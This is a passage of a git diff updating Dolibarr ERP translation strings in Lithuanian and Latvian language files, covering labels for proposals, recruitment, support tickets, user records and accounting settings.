+NoSign=Atmesti +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Written acceptance, company stamp, date and signature ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/lt_LT/recruitment.lang b/htdocs/langs/lt_LT/recruitment.lang index ed93a7680cc..f130daf30f2 100644 --- a/htdocs/langs/lt_LT/recruitment.lang +++ b/htdocs/langs/lt_LT/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Atlyginimas +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/lt_LT/ticket.lang b/htdocs/langs/lt_LT/ticket.lang index b0178064687..67a1470c02f 100644 --- a/htdocs/langs/lt_LT/ticket.lang +++ b/htdocs/langs/lt_LT/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=Create intervention -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Parašas -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=Naujas vartotojas NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/lt_LT/users.lang b/htdocs/langs/lt_LT/users.lang index 57967953111..ab3f9017c47 100644 --- a/htdocs/langs/lt_LT/users.lang +++ b/htdocs/langs/lt_LT/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Pašalinti iš grupės PasswordChangedAndSentTo=Slaptažodis pakeistas ir išsiųstas į %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Prašymas pakeisti slaptažodį %s išsiųstą į %s -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Vartotojai ir grupės @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Sukurti vartotoją CreateDolibarrThirdParty=Sukurti trečiąją šalį -LoginAccountDisableInDolibarr=Sąskaita Dolibarr išjungta +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Naudoti asmeninę reikšmę -InternalUser=Vidinis vartotojas ExportDataset_user_1=Users and their properties DomainUser=Domeno Vartotojas %s Reactivate=Atgaivinti @@ -114,7 +114,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/lv_LV/accountancy.lang b/htdocs/langs/lv_LV/accountancy.lang index 8903bac917d..5610942b86f 100644 --- a/htdocs/langs/lv_LV/accountancy.lang +++ b/htdocs/langs/lv_LV/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Izvēlieties vagonu atgriešanas veidu ACCOUNTING_EXPORT_PREFIX_SPEC=Norādiet faila nosaukuma prefiksu ThisService=Šis pakalpojums ThisProduct=Šis produkts -DefaultForService=Noklusējums pakalpojumam -DefaultForProduct=Noklusējums produktam +DefaultForService=Noklusējums pakalpojumiem +DefaultForProduct=Noklusējums produktiem ProductForThisThirdparty=Produkts šai trešajai pusei ServiceForThisThirdparty=Pakalpojums šai trešajai pusei CantSuggest=Nevar ieteikt @@ -48,8 +48,9 @@ CountriesNotInEEC=Valstis, kas nav EEK valstīs CountriesInEECExceptMe=Valstis EEK, izņemot %s CountriesExceptMe=Visas valstis, izņemot %s AccountantFiles=Eksportēt pirmdokumentus -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=Izmantojot šo rīku, varat meklēt un eksportēt avota notikumus, kas tiek izmantoti jūsu grāmatvedības uzskaitei.
      Eksportētajā ZIP failā būs pieprasīto vienumu saraksti CSV formātā, kā arī tiem pievienotie faili to sākotnējā formātā (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Lai eksportētu žurnālus, izmantojiet izvēlnes ierakstu %s - %s. +ExportAccountingProjectHelp=Norādiet projektu, ja jums ir nepieciešams grāmatvedības pārskats tikai par konkrētu projektu. Izdevumu atskaites un kredīta maksājumi nav iekļauti projektu pārskatos. VueByAccountAccounting=Skatīt pēc grāmatvedības konta VueBySubAccountAccounting=Skatīt pēc grāmatvedības apakškonta @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Galvenais grāmatvedības konts piegādātāji MainAccountForUsersNotDefined=Galvenais grāmatvedības konts lietotājiem, kas nav definēti iestatījumos MainAccountForVatPaymentNotDefined=Galvenais grāmatvedības konts par PVN maksājumu, kas nav definēts iestatījumos MainAccountForSubscriptionPaymentNotDefined=Galvenais grāmatvedības konts abonēšanas maksā, kas nav definēts iestatījumā +UserAccountNotDefined=Uzskaites konts lietotājam, kas nav definēts iestatījumos AccountancyArea=Grāmatvedības zona AccountancyAreaDescIntro=Grāmatvedības moduļa lietošana tiek veikta vairākos posmos: @@ -99,7 +101,8 @@ ShowAccountingAccount=Rādīt grāmatvedības kontu ShowAccountingJournal=Rādīt grāmatvedības žurnālu ShowAccountingAccountInLedger=Rādīt grāmatvedības kontu virsgrāmatā ShowAccountingAccountInJournals=Parādīt grāmatvedības kontu žurnālos -AccountAccountingSuggest=Ieteicamais grāmatvedības konts +DataUsedToSuggestAccount=Dati, kas izmantoti, lai ieteiktu kontu +AccountAccountingSuggest=Ieteikts konts MenuDefaultAccounts=Noklusētie konti MenuBankAccounts=Bankas konti MenuVatAccounts=PVN konti @@ -124,6 +127,7 @@ WriteBookKeeping=Ierakstīt darījumus grāmatvedībā Bookkeeping=Grāmatvedis BookkeepingSubAccount=Zemesgrāmata AccountBalance=Konta bilance +AccountBalanceSubAccount=Apakškontu atlikums ObjectsRef=Avota objekta ref CAHTF=Kopējais pirkuma pārdevējs pirms nodokļu nomaksas TotalExpenseReport=Kopējais izdevumu pārskats @@ -163,40 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Iespējot kombinēto sarakstu meitas kontam (tas var b ACCOUNTING_DATE_START_BINDING=Definējiet datumu, lai sāktu iesiešanu un pārskaitīšanu grāmatvedībā. Zem šī datuma darījumi netiks pārnesti uz grāmatvedību. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Kāds ir grāmatvedības pārskaitījuma periods, kas atlasīts pēc noklusējuma -ACCOUNTING_SELL_JOURNAL=Pārdošanas žurnāls -ACCOUNTING_PURCHASE_JOURNAL=Pirkuma žurnāls -ACCOUNTING_MISCELLANEOUS_JOURNAL=Dažādi žurnāli +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Izdevumu atskaites žurnāls -ACCOUNTING_SOCIAL_JOURNAL=Sociālais žurnāls +ACCOUNTING_MISCELLANEOUS_JOURNAL=Vispārējais žurnāls ACCOUNTING_HAS_NEW_JOURNAL=Vai jauns Vēstnesis? +ACCOUNTING_INVENTORY_JOURNAL=Inventāra žurnāls +ACCOUNTING_SOCIAL_JOURNAL=Sociālais žurnāls ACCOUNTING_RESULT_PROFIT=Rezultātu uzskaites konts (peļņa) ACCOUNTING_RESULT_LOSS=Rezultātu uzskaites konts (zaudējumi) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Noslēguma žurnāls -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Grāmatvedības konts bankas pārskaitījuma starp konts +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Konts (no konta plāna), kas jāizmanto kā pārejas bankas pārvedumu konts TransitionalAccount=Pārejas bankas konta pārejas konts -ACCOUNTING_ACCOUNT_SUSPENSE=Gaidīšanas grāmatvedības konts -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Grāmatvedības konts, lai reģistrētu abonementus +ACCOUNTING_ACCOUNT_SUSPENSE=Konts (no konta plāna), kas jāizmanto kā konts nesadalītajiem līdzekļiem, kas saņemti vai izmaksāti, t.i., līdzekļiem, kas atrodas gaidīšanas režīmā. +DONATION_ACCOUNTINGACCOUNT=Konts (no konta plāna), kas jāizmanto ziedojumu reģistrēšanai (Ziedojumu modulis) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Konts (no konta plāna), kas jāizmanto, lai reģistrētu dalības abonementus (Dalības modulis - ja dalība reģistrēta bez rēķina) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Grāmatvedības konts pēc noklusējuma reģistrē klientu depozītu +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts klienta depozīta reģistrēšanai UseAuxiliaryAccountOnCustomerDeposit=Saglabājiet klienta kontu kā individuālu kontu meitas virsgrāmatā pirmo iemaksu rindām (ja tas ir atspējots, individuālais konts pirmās iemaksas rindām paliks tukšs) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts +UseAuxiliaryAccountOnSupplierDeposit=Saglabājiet piegādātāja kontu kā individuālo kontu meitas virsgrāmatā pirmās iemaksas rindām (ja tas ir atspējots, individuālais konts pirmās iemaksas rindām paliks tukšs) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Grāmatvedības konts pēc noklusējuma, lai reģistrētu klienta saglabāto garantiju -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Nopirkto produktu grāmatvedības konts pēc noklusējuma (tiek izmantots, ja tas nav definēts produktu lapā) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Grāmatvedības konts pēc noklusējuma nopirktajiem produktiem EEK (lietots, ja nav definēts produktu lapā) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Grāmatvedības konts pēc noklusējuma nopirktajiem produktiem un importētajiem no EEK (izmantots, ja tas nav noteikts produkta lapā) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Grāmatvedības konts pēc noklusējuma pārdotajiem produktiem (izmanto, ja produkta lapā nav noteikts). -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Grāmatvedības konts pēc noklusējuma ražojumiem, ko pārdod EEK (izmanto, ja nav definēts produktu lapā) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Grāmatvedības konts pēc noklusējuma produktiem, kas pārdoti un eksportēti no EEK (izmantots, ja tas nav noteikts produkta lapā) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts produktiem, kas iegādāti tajā pašā valstī (izmanto, ja tas nav definēts produkta lapā) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts produktiem, kas iegādāti no EEK citā EEK valstī (izmanto, ja tas nav definēts produkta lapā) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts produktiem, kas iegādāti un importēti no jebkuras citas ārvalsts (izmanto, ja nav norādīts produkta lapā) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts pārdotajām precēm (izmanto, ja tas nav definēts produkta lapā) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts produktiem, kas tiek pārdoti no EEK uz citu EEK valsti (izmanto, ja tas nav definēts produkta lapā) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts produktiem, kas tiek pārdoti un eksportēti uz jebkuru citu valsti (izmanto, ja tas nav definēts produkta lapā) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Grāmatvedības konts pēc noklusējuma par nopirktajiem pakalpojumiem (lieto, ja tas nav noteikts pakalpojuma lapā) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Grāmatvedības konts pēc noklusējuma nopirktajiem pakalpojumiem EEK (izmantots, ja pakalpojuma lapā nav noteikts) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Grāmatvedības konts pēc noklusējuma par nopirktajiem pakalpojumiem un ievestajiem no EEK (tiek izmantots, ja pakalpojuma lapā tas nav noteikts) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Grāmatvedības konts pēc noklusējuma pārdotajiem pakalpojumiem (izmanto, ja tas nav noteikts pakalpojuma lapā) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Grāmatvedības konts pēc noklusējuma par pakalpojumiem, kas pārdoti EEK (izmantots, ja nav definēts pakalpojumu lapā) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Grāmatvedības konts pēc noklusējuma par pakalpojumiem, kas pārdoti un eksportēti no EEK (tiek izmantoti, ja tie nav definēti pakalpojumu lapā) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts tajā pašā valstī iegādātajiem pakalpojumiem (izmanto, ja tas nav definēts pakalpojuma lapā) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts pakalpojumiem, kas iegādāti no EEK uz citu EEK valsti (izmanto, ja pakalpojumu lapā nav definēts) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts pakalpojumiem, kas iegādāti un importēti no citas ārvalsts (izmanto, ja pakalpojumu lapā nav noteikts) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts pārdotajiem pakalpojumiem (izmanto, ja tas nav definēts pakalpojumu lapā) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts pakalpojumiem, kas tiek pārdoti no EEK uz citu EEK valsti (izmanto, ja pakalpojumu lapā nav definēts) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts pakalpojumiem, kas pārdoti un eksportēti uz jebkuru citu valsti (izmanto, ja pakalpojumu lapā nav definēts) Doctype=Dokumenta veids Docdate=Datums @@ -211,7 +220,8 @@ Codejournal=Žurnāls JournalLabel=Žurnāla etiķete NumPiece=Gabala numurs TransactionNumShort=Num. darījums -AccountingCategory=Pielāgota grupa +AccountingCategory=Pielāgota kontu grupa +AccountingCategories=Pielāgotas kontu grupas GroupByAccountAccounting=Grupēt pēc galvenās grāmatas konta GroupBySubAccountAccounting=Grupēt pēc apakšzinēja konta AccountingAccountGroupsDesc=Šeit jūs varat definēt dažas grāmatvedības kontu grupas. Tie tiks izmantoti personificētiem grāmatvedības pārskatiem. @@ -228,6 +238,7 @@ ConfirmDeleteMvt=Tādējādi tiks dzēstas visas gada/mēneša un/vai konkrēta ConfirmDeleteMvtPartial=Tādējādi darījums tiks dzēsts no uzskaites (tiks dzēstas visas ar to pašu darījumu saistītās rindas) FinanceJournal=Finanšu žurnāls ExpenseReportsJournal=Izdevumu pārskatu žurnāls +InventoryJournal=Inventory journal DescFinanceJournal=Finance journal including all the types of payments by bank account DescJournalOnlyBindedVisible=Šis ir ieraksta skats, kas ir saistīts ar grāmatvedības kontu un kuru var ierakstīt žurnālos un virsgrāmatā. VATAccountNotDefined=PVN konts nav definēts @@ -259,19 +270,20 @@ ShowSubtotalByGroup=Rādīt starpsummu pēc līmeņa Pcgtype=Kontu grupa PcgtypeDesc=Kontu grupa tiek izmantota kā iepriekš definēti “filtra” un “grupēšanas” kritēriji dažiem grāmatvedības pārskatiem. Piemēram, “IENĀKUMS” vai “IZDEVUMI” tiek izmantoti kā produktu uzskaites kontu grupas, lai izveidotu izdevumu / ienākumu pārskatu. +AccountingCategoriesDesc=Pielāgotu kontu grupu var izmantot, lai grupētu grāmatvedības kontus vienā nosaukumā, lai atvieglotu filtra lietošanu vai pielāgotu pārskatu veidošanu. Reconcilable=Samierināms TotalVente=Kopējais apgrozījums pirms nodokļu nomaksas TotalMarge=Kopējā pārdošanas starpība -DescVentilCustomer=Aplūkojiet šeit klienta rēķina līniju sarakstu, kas saistītas (vai nav) ar produktu grāmatvedības kontu -DescVentilMore=Vairumā gadījumu, ja jūs izmantojat iepriekš definētus produktus vai pakalpojumus, un produkta / pakalpojuma kartē norādiet konta numuru, programma varēs veikt visu saistību starp jūsu rēķina līnijām un jūsu kontu plāna grāmatvedības kontu, tikai vienu klikšķi, izmantojot pogu "%s" . Ja konts nav iestatīts uz produktu / pakalpojumu kartēm vai ja jums joprojām ir dažas līnijas, kurām nav saistības ar kontu, izvēlnē " %s " būs jāveic manuāla piesaistīšana. -DescVentilDoneCustomer=Konsultējieties šeit ar rindu rēķinu klientu sarakstu un to produktu uzskaites kontu -DescVentilTodoCustomer=Piesaistiet rēķina līnijas, kas vēl nav saistītas ar produkta grāmatvedības kontu -ChangeAccount=Izmainiet produktu / pakalpojumu grāmatvedības kontu izvēlētajām līnijām ar šādu grāmatvedības kontu: +DescVentilCustomer=Skatiet šeit to klientu rēķinu rindu sarakstu, kas ir piesaistītas (vai nav) ar produkta kontu no konta plāna +DescVentilMore=Vairumā gadījumu, ja izmantojat iepriekš definētus produktus vai pakalpojumus un iestatāt kontu (no konta plāna) produkta/pakalpojuma kartē, lietojumprogramma varēs veikt visas saistības starp jūsu rēķina rindām un jūsu diagrammas grāmatvedības kontu. kontu, ar vienu klikšķi ar pogu "%s" . Ja konts nav iestatīts produktu/pakalpojumu kartēs vai ja jums joprojām ir dažas rindas, kas nav saistītas ar kontu, jums būs jāveic manuāla saistīšana no izvēlnes " %s ". +DescVentilDoneCustomer=Šeit skatiet klientu rēķinu rindu sarakstu un viņu produktu kontu no kontu plāna +DescVentilTodoCustomer=Saistīt rēķina rindas, kas vēl nav saistītas ar produkta kontu, no kontu plāna +ChangeAccount=Mainiet produkta/pakalpojuma kontu (no konta plāna) atlasītajām rindām ar šādu kontu: Vide=- -DescVentilSupplier=Šeit atrodams pārdevēju rēķinu rindu saraksts, kas ir piesaistīts vai vēl nav saistīts ar produkta grāmatvedības kontu (ir redzams tikai ieraksts, kas vēl nav pārskaitīts grāmatvedībā) +DescVentilSupplier=Skatiet šeit to piegādātāja rēķinu rindu sarakstu, kas ir piesaistītas vai vēl nav saistītas ar produkta kontu no konta plāna (ir redzami tikai ieraksti, kas vēl 